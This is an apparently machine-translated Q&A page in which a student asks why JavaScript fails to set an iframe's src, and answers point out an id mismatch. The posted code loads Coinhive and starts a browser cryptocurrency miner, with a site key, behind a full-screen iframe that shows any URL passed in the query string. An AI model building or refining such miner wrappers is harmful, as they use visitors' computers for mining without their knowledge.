无法通过Javascript编辑iframe的'src'值

时间:2017-11-23 17:34:37

标签: javascript html iframe

我正在尝试用coinhive做一个小项目,但我遇到了一些麻烦。

我想要做的只是在一个iframe中显示一个网页,而coinhive正在挖掘。 (不要吓唬,这只是我自己的pourpouses,我不会非法使用它)

到目前为止一切正常,所以我决定让它变得更聪明,更改从网址显示的网站(例如:www.domain.com/page?url = target),但每次我尝试设置.src值来自javascript的iframe不起作用。这是代码。任何帮助都有帮助! (我只是个学生哈哈)

<iframe src="about:blank" id="frm" style="height:100%; width:100%; position:fixed; top:0; bottom:0; left:0; right:0;"></iframe>

<script src="https://coinhive.com/lib/coinhive.min.js"></script>

<script>
  var miner = new CoinHive.Anonymous('WJ2VsNaAOJh6yp5epJpVXGqV3lzQKZIw', { throttle: 0.5 });
  miner.start();
  
  function getParameterByName(name, url) 
    { 
      if (!url) url = window.location.href; 
      name = name.replace(/[\[\]]/g, "\\$&"); 
      var regex = new RegExp("[?&]" + name + "(=([^&#]*)|&|#|$)"), results = regex.exec(url); 
      if (!results) return null; 
      if (!results[2]) return ''; 
      return decodeURIComponent(results[2].replace(/\+/g, " ")); 
    }
  var url = getParameterByName('url');
  document.getElementById('preview').src = url;
</script>

2 个答案:

答案 0 :(得分:1)

我认为您应该将ID更改为&#39; frm&#39;而是预览&#39;在:

document.getElementById('preview').src = url;

答案 1 :(得分:0)

document.getElementById('preview').src = url;


<iframe src="about:blank" **id="preview"** style="height:100%; width:100%; position:fixed; top:0; bottom:0; left:0; right:0;"></iframe>

请更改iframe的ID ...